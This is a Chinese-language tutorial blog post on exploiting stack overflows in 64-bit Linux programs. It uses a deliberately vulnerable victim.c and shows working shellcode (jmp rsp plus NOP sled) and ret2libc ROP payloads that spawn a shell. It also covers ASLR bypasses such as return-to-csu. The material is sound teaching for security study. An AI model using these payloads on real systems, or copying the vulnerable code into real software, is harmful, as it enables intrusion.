之前在 栈溢出漏洞的利用和缓解 中介绍了栈溢出漏洞和一些常见的漏洞缓解 技术的原理和绕过方法, 不过当时主要针对32位程序(ELF32). 秉承着能用就不改的态度, IPv4还依然是互联网的主导, 更何况应用程序. 所以理解32位环境也是有必要的. 不过, 现在毕竟已经是2018年了, 64位程序也逐渐成为主流, 尤其是在Linux环境中. 因此本篇就来说说64位下的利用与32位下的利用和缓解绕过方法有何异同.
我们所说的32位和64位, 其实就是寄存器的大小. 对于32位寄存器大小为32/8=4字节, 那64位自然是64/8=8字节了. 寄存器的大小对程序的直接影响就是地址空间, 因为CPU获取数据/地址还是要通过寄存器来传递, 32位程序地址空间最多也只有 2^32-1=4GB(不考虑内核空间), 64位则将地址空间提高了几十亿倍, 充分利用了 机器的内存.
对于x86架构的CPU, 通常会用到的寄存器有下列这些:
(gdb) info registers eax 0xf7fa6dbc -134582852 ecx 0x5cb15f85 1555128197 edx 0xffffc834 -14284 ebx 0x0 0 esp 0xffffc808 0xffffc808 ebp 0xffffc808 0xffffc808 esi 0x1 1 edi 0xf7fa5000 -134590464 eip 0x56555563 0x56555563 <main+3> eflags 0x292 [ AF SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99
这些寄存器可以分为四类:
通用寄存器: EAX EBX ECX EDX 索引和指针: ESI EDI EBP ESP EIP 段寄存器: CS SS DS ES FS GS 指示器: EFLAGS
其中EAX~EDX四个通用寄存器支持部分引用, 如EAX低16位可通过AX来引用, AL的高8位和低8位又可以分别通过AH和AL来引用.
有的文档将ESI,EDI也称为通用寄存器, 因为他们也是程序可自由读写的, 不过他们不支持部分引用. EBP/ESP分别称为栈基指针和栈指针, 分别指向 当前栈帧的栈底和栈顶. EIP为PC指针, 指向将要执行的下一条指令.
段寄存器(Segment registers)保存了不同目标的段地址, 只有16种取值, 只能被通用寄存器或者特殊指令设置.
段寄存器 | 作用 |
---|---|
CS | Code Segment |
SS | Stack Segment |
DS | Data Segment |
ES,FS,GS | 主要用作远指针寻址 |
指示器EFLAGS保存了指令运行的一些状态(flag), 比如进位,符号等, Intel文档定义如下:
Bit | Label | Desciption |
---|---|---|
0 | CF | Carry flag |
2 | PF | Parity flag |
4 | AF | Auxiliary carry flag |
6 | ZF | Zero flag |
7 | SF | Sign flag |
8 | TF | Trap flag |
9 | IF | Interrupt enable flag |
10 | DF | Direction flag |
11 | OF | Overflow flag |
12-13 | IOPL | I/O Priviledge level |
14 | NT | Nested task flag |
16 | RF | Resume flag |
17 | VM | Virtual 8086 mode flag |
18 | AC | Alignment check flag (486+) |
19 | VIF | Virutal interrupt flag |
20 | VIP | Virtual interrupt pending flag |
21 | ID | ID flag |
这个32位寄存器中上面没提到的位是由Intel保留的.
x86-64架构下的寄存器种类和32位差不多:
(gdb) info registers rax 0x555555554660 93824992233056 rbx 0x0 0 rcx 0x0 0 rdx 0x7fffffffd708 140737488344840 rsi 0x7fffffffd6f8 140737488344824 rdi 0x1 1 rbp 0x7fffffffd610 0x7fffffffd610 rsp 0x7fffffffd610 0x7fffffffd610 r8 0x5555555546e0 93824992233184 r9 0x7ffff7de8cb0 140737351945392 r10 0x8 8 r11 0x1 1 r12 0x555555554530 93824992232752 r13 0x7fffffffd6f0 140737488344816 r14 0x0 0 r15 0x0 0 rip 0x555555554664 0x555555554664 <main+4> eflags 0x246 [ PF ZF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0
只不过寄存器大小从32位变成了64位, 而且增加了8个通用寄存器(r8~r15). 和x86一样, rax~rdx这四个通用寄存器也支持部分寻址:
0x1122334455667788 ================ RAX (64位) ======== EAX (低32位) ==== AX (低16位) == AH (高8位) == AL (低8位)
32位和64位程序的区别, 更多的是体现在 调用约定(Calling Convention) 上. 因为64位程序有了更多的通用寄存器, 所以通常会使用寄存器来进行函数参数传递 而不是通过栈, 来获得更高的运行速度.
本文主要是介绍Linux平台下的漏洞利用, 所以就专注于 System V AMD64 ABI
的调用约定, 即函数参数从左到右依次用寄存器RDI,RSI,RDX,RCX,R8,R9来进行传递, 如果参数个数多于6个, 再通过栈来进行传递.
$ cat victim.c int foo(int a, int b, int c, int d, int e, int f, int g, int h) { return a + b + c + d + e + f + g + h; } int main() { foo(1, 2, 3, 4, 5, 6, 7, 8); return 0; } $ gcc victim.c -o victim $ objdump -d victim | grep "<main>:" -A 11 00000000000006a0 <main>: 6a0: 55 push rbp 6a1: 48 89 e5 mov rbp,rsp 6a4: 6a 08 push 0x8 6a6: 6a 07 push 0x7 6a8: 41 b9 06 00 00 00 mov r9d,0x6 6ae: 41 b8 05 00 00 00 mov r8d,0x5 6b4: b9 04 00 00 00 mov ecx,0x4 6b9: ba 03 00 00 00 mov edx,0x3 6be: be 02 00 00 00 mov esi,0x2 6c3: bf 01 00 00 00 mov edi,0x1 6c8: e8 93 ff ff ff call 660 <foo>
回忆一下之前在 栈溢出漏洞的利用和缓解 中介绍的漏洞利用流程, 我们的目的是通过溢出等内存破坏的漏洞来执行任意的代码, 为实现这个目的, 就要按照调用约定来对内存进行精确布局, 然后执行恶意跳转. 在32位的环境下, 因为函数参数都是通过栈传递, 而我们有能溢出栈 进行任意写, 所以利用起来很直接, 到了64位环境中就需要做点改变了.
在本文接下来的介绍中, 都以下面的程序为目标来说明64位环境中如何 正确地利用漏洞, 以及如何绕过常见的漏洞缓解措施.
// victim.c
# include <stdio.h>
int foo() {
char buf[10];
scanf("%s", buf);
printf("hello %s/n", buf);
return 0;
}
int main() {
foo();
printf("good bye!/n");
return 0;
}
void dummy()
{
__asm__("nop; jmp rsp");
}
同样的, 我们先从最宽松的环境开始.
与x86的栈溢出漏洞类似, 我们可以先用debruijn序列来获得溢出点:
$ gcc victim.c -o victim -g -masm=intel -fno-stack-protector -z execstack -no-pie -fno-pic $ ragg2 -P 80 -r > victim.rr2 $ gdb victim (gdb) run < victim.rr2 Starting program: /home/pan/stack_overflow_demo/x64/victim < victim.rr2 hello AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaA Program received signal SIGSEGV, Segmentation fault. 0x00000000004005f0 in foo () at victim.c:8 8 } (gdb) p $rip $1 = (void (*)()) 0x4005f0 <foo+58> (gdb) b 6 Breakpoint 1 at 0x4005d4: file victim.c, line 6. (gdb) run < victim.rr2 (gdb) x/xg $rbp+8 0x7fffffffd608: 0x4149414148414147
不过, 和x86不同的是, 这里在出现段错误时, rip指针并没有被我们的序列覆盖到. 这是因为x86在传递地址时不会进行"验证". 而x64则会对根据寻址标准对地址进行检查, 规则是48~63位必须和47位相同(从0开始), 否则处理器将会产生异常. 这规则听起来有点怪, 不过考虑到用户空间最多只有 0x00007FFFFFFFFFF
, 所以对正常程序而言是有保护作用的, 详情可以参考 这里
. 好吧, 那么该如何获得覆盖的rip值? 其实也很简单, 只要在溢出后打上断点, 并查看$rbp+8就是我们将要覆盖的rip值了. 如上为 0x4149414148414147
, 转换为(小端)ASCII为 GAAHAAIA
, 在debruijn序列的第19位, 验证如下:
$ gdb ./victim (gdb) run < <(python -c "print 'A'*18 + 'B'*4") hello AAAAAAAAAAAAAAAAAABBBB Program received signal SIGSEGV, Segmentation fault. 0x0000000042424242 in ?? () (gdb) p $rip $1 = (void (*)()) 0x42424242
确实是BBBB覆盖了返回的指针. 所以栈的布局和32位下应该是类似的. 利用跳转 jmp rsp
和32位没有太大区别, 假设我们目标是通过 system("/bin/sh")
来获取shell.
先分别获得libc的基地址, system函数的偏移以及字符串的偏移:
$ LD_TRACE_LOADED_OBJECTS=1 ./victim linux-vdso.so.1 (0x00007ffff7ffa000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7a3a000) /lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd9000) $ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system@ 583: 000000000003f450 45 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE 1353: 000000000003f450 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5 $ rafind2 -z -s /bin/sh /lib/x86_64-linux-gnu/libc.so.6 0x1619f9
所以:
上一节说了x64下调用约定是通过寄存器来传递函数的参数, 其中第一个参数为rdi, 因此需要构造的payload应该如下:
;shellcode.asm
mov rdi, 0x7ffff7b9b9f9;
mov rdx, 0x7ffff7a79450;
call rdx;
在宽松的环境下, 栈是可执行的, 所以我们用 jmp rsp
来跳转到shellcode中:
$ rasm2 "jmp rsp" ffe4 $ objdump -d victim | grep "ff e4" 400615: ff e4 jmp rsp $ rasm2 -a x86 -b 64 -f shellcode.asm -C "/x48/xbf/xf9/xb9/xb9/xf7/xff/x7f/x00/x00/x48/xba/x50/x94/xa7/xf7/xff/x7f/x00/x00/xff/xd2"
返回地址应覆盖为0x400615, 所以完整的payload验证如下(记得加上NOP sled):
$ (python -c 'print "A"*18 + "/x15/x06/x40/x00" + "/x00"*4 + "/x90"*20 + "/x48/xbf/xf9/xb9/xb9/xf7/xff/x7f/x00/x00/x48/xba/x50/x94/xa7/xf7/xff/x7f/x00/x00/xff/xd2"' && cat) | ./victim hello AAAAAAAAAAAAAAAAAA@ whoami pan id uid=1000(pan) gid=1000(pan) groups=1000(pan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),117(lpadmin),121(wireshark),999(docker)
成功获得shell. 这是最原始的通过 jmp rsp
+ NOP sled
劫持运行流程的方式, 和32位情况下没有太大区别.
return-to-libc和32位情况下的区别是函数参数需要保存在rdi寄存器中. 然而我们只能覆盖栈的地址, 所以这时候需要借助ROP方法来控制流程, 先跳转到程序中的 pop rdi; ret
片段(gadget), 再跳转到system@libc中.
$ rasm2 "pop rdi; ret" 5fc3 $ rafind2 -x 5fc3 -X victim 0x683 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x00000683 5fc3 9066 2e0f 1f84 0000 0000 00f3 c300 _..f............ 0x00000693 0048 83ec 0848 83c4 08c3 0000 0001 0002 .H...H.......... 0x000006a3 0025 7300 6865 6c6c 6f20 2573 0a00 676f .%s.hello %s..go 0x000006b3 6f64 2062 7965 2100 0001 1b03 3b40 0000 od bye!.....;@.. 0x000006c3 0007 0000 00c4 fdff ff8c 0000 0004 ..............
关键是要找到合适的gadget, 在victim里找到了这俩字节, 就算不幸没找到也没关系, 我们还可以从libc.so里去找, 这个会在后面细说.
值得一提的是32位程序加载地址为0x08048000, 而64位程序加载地址为0x00400000. 所以跳转的返回地址应该是0x00400000+0x683=0x400683, ROP链如下:
栈顶(低地址) <-------- 栈底(高地址) ...[18字节][0x400683]["/bin/sh"地址][system@libc][system返回(可选)]
和之前一样, "/bin/sh"和system()的地址和之前一样, 验证:
$ (python -c 'print "A"*18 + "/x83/x06/x40/x00/x00/x00/x00/x00" + "/xf9/xb9/xb9/xf7/xff/x7f/x00/x00" + "/x50/x94/xa7/xf7/xff/x7f/x00/x00"' && cat) | ./victim hello AAAAAAAAAAAAAAAAAA�@ whoami pan id uid=1000(pan) gid=1000(pan) groups=1000(pan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),117(lpadmin),121(wireshark),999(docker)
成功返回到了libc中执行 system("/bin/sh")
上面用ret2libc虽然成功绕过了NX并执行命令, 但其实也不稳定. 因为我们是假定知道 了libc的加载地址(即禁用ASLR). 不过, 在上一篇 深入了解GOT,PLT和动态链接 中我们说了, ASLR虽然随机化了部分虚拟地址空间, 不过PLT却不在此列, 其地址依然 是和可执行文件的加载地址相对固定的. 如果可执行文件不是PIE(位置无关可执行文件), 那么ELF的加载地址也是固定的. 这就使得我们可以通过跳转到PLT来绕过ASLR执行任意 命令.
利用过程和上面ret2libc类似, 只不过要将 system@libc
的地址改为 system@plt
. 哈, 当然, 前提是我们的程序里有system@plt.
$ gdb victim_nx (gdb) info functions All defined functions: File victim.c: void dummy(); int foo(); int main(); Non-debugging symbols: 0x0000000000400460 _init 0x0000000000400490 puts@plt 0x00000000004004a0 printf@plt 0x00000000004004b0 __isoc99_scanf@plt 0x00000000004004c0 _start 0x00000000004004f0 deregister_tm_clones 0x0000000000400530 register_tm_clones 0x0000000000400570 __do_global_dtors_aux 0x0000000000400590 frame_dummy 0x0000000000400620 __libc_csu_init 0x0000000000400690 __libc_csu_fini 0x0000000000400694 _fini
可惜我们的程序并没有出现system的引用, 所以就不具体演示了, 因为无非是将ret2libc 改一个地址而已.
如果在实际程序中也这么不巧遇到这种情况怎么办? 这就要用到下面的方法了.
虽然libc.so是PIC位置无关的, 但其中每个符号的相对地址是确定的, 只要知道其中一个, 就能知道libc加载基地址和所有其他符号的位置了. 因此不论是要找函数(如system), 数据(如"/bin/bash")还是复杂的ROP gadget, 关键都是要找libc, 一旦找到libc的基地址, 这场exploit游戏也就宣告结束了.
在 深入了解GOT,PLT和动态链接
中我们知道, 每个函数的PLT中只包含几行代码, 作用是设置参数并跳转到GOT, 而对应GOT在解析前包含了对应PLT的下一条指令. PLT的下一条指令则动态解析符号并填充对应的GOT, 称为延时加载. 所以, GOT中有libc某些函数的真正地址, 我们可以利用它来获取libc的位置. 这种方法也叫 GOT dereference
, 和GOT覆盖类似, 只不过并没有真正覆盖. 在32位情况下和64位情况下利用方式大同小异, 可以参考x86漏洞利用中的ASLR 部分, 这里就不赘述了.
offset2lib是在2014年提出来的一种在x64下绕过ASLR的方法, 主要利用的是Linux 实现ASLR的设计缺陷, 在程序启用PIE时会导致加载地址空间(区域)和动态库相同, 从而导致ASLR熵减少. 不过这个缺陷已经在2015年修复了, 所以不展开介绍, 感兴趣的同学可以看原文: Offset2lib: bypassing full ASLR on 64bit Linux . 虽然漏洞已经修复, 但其想法还是很值得学习的.
return-to-csu, 是 2018 BlackHat Asia上分享的一种绕过ASLR的新姿势 . 对于客户端程序, 我们用程序中的puts/printf可以比较简单地打印(泄漏)出libc的地址, 只需要传入合适的参数. 在文章最开始的部分我们说了, x64下调用约定是用寄存器 rdi,rsi,rdx...来传参, 所以关键是怎么把可控部分(栈)的值传给寄存器.
ROP是个好办法, 可仅考虑可执行文件的话, 不一定能找到合适的gadget. 对于一些网络程序, 我们可能要用write或者send函数来泄露libc, 这就需要3个或者 更多的参数. 可惜使用常见的自动化rop工具在小型程序中难以找到合适的gadget. 于是作者(Hector&Ismael)通过人眼审计可执行文件中的通用代码部分, 发现了两处 有趣的片段, 可以让我们控制edi,rsi和rdx, 并跳转到任意地址. 而这两处片段都在 __libc_csu_init
中, 所以该方法称为return-to-csu:
$ objdump -d ./victim_nx | grep "<__libc_csu_init>:" -A35 0000000000400620 <__libc_csu_init>: 400620: 41 57 push r15 400622: 41 56 push r14 400624: 41 89 ff mov r15d,edi 400627: 41 55 push r13 400629: 41 54 push r12 40062b: 4c 8d 25 d6 07 20 00 lea r12,[rip+0x2007d6] # 600e08 <__frame_dummy_init_array_entry> 400632: 55 push rbp 400633: 48 8d 2d d6 07 20 00 lea rbp,[rip+0x2007d6] # 600e10 <__init_array_end> 40063a: 53 push rbx 40063b: 49 89 f6 mov r14,rsi 40063e: 49 89 d5 mov r13,rdx 400641: 4c 29 e5 sub rbp,r12 400644: 48 83 ec 08 sub rsp,0x8 400648: 48 c1 fd 03 sar rbp,0x3 40064c: e8 0f fe ff ff call 400460 <_init> 400651: 48 85 ed test rbp,rbp 400654: 74 20 je 400676 <__libc_csu_init+0x56> 400656: 31 db xor ebx,ebx 400658: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] 40065f: 00 /400660: 4c 89 ea mov rdx,r13 2| 400663: 4c 89 f6 mov rsi,r14 | 400666: 44 89 ff mov edi,r15d /400669: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 40066d: 48 83 c3 01 add rbx,0x1 400671: 48 39 dd cmp rbp,rbx 400674: 75 ea jne 400660 <__libc_csu_init+0x40> 400676: 48 83 c4 08 add rsp,0x8 /40067a: 5b pop rbx | 40067b: 5d pop rbp | 40067c: 41 5c pop r12 1| 40067e: 41 5d pop r13 | 400680: 41 5e pop r14 | 400682: 41 5f pop r15 /400684: c3 ret
如上图标注的片段1和片段2, 联合起来就可以实现控制rdx,rsi和edi, 虽然第一个参数 rdi只能写低32位, 不过一般write/send第一个参数都是文件描述符, 所以也足够了. 关键是 __libc_csu_init
这一段代码是所有GNU/cc编译链都会添加带可执行文件中的, 这意味着对于大多数Linux x64下的程序栈溢出漏洞都可以用该方式绕过ASLR执行程序. 对于该方法的介绍可以 查看原文
.
x86和x86-64之间的漏洞利用思路大体相同, 只不过要注意payload的具体布局. 二进制漏洞本身没有什么"一招鲜"的利用方法, 也许暂时某个方法很通用, 但可能某次内核/工具链更新之后就失效了. 关键还是要理解堆栈布局和平台的调用约定, 学习别人的一些利用思路, 比如ROP等. 这样就能针对不同的应用程序和不同的运行环境 快速发现最合适的利用方式.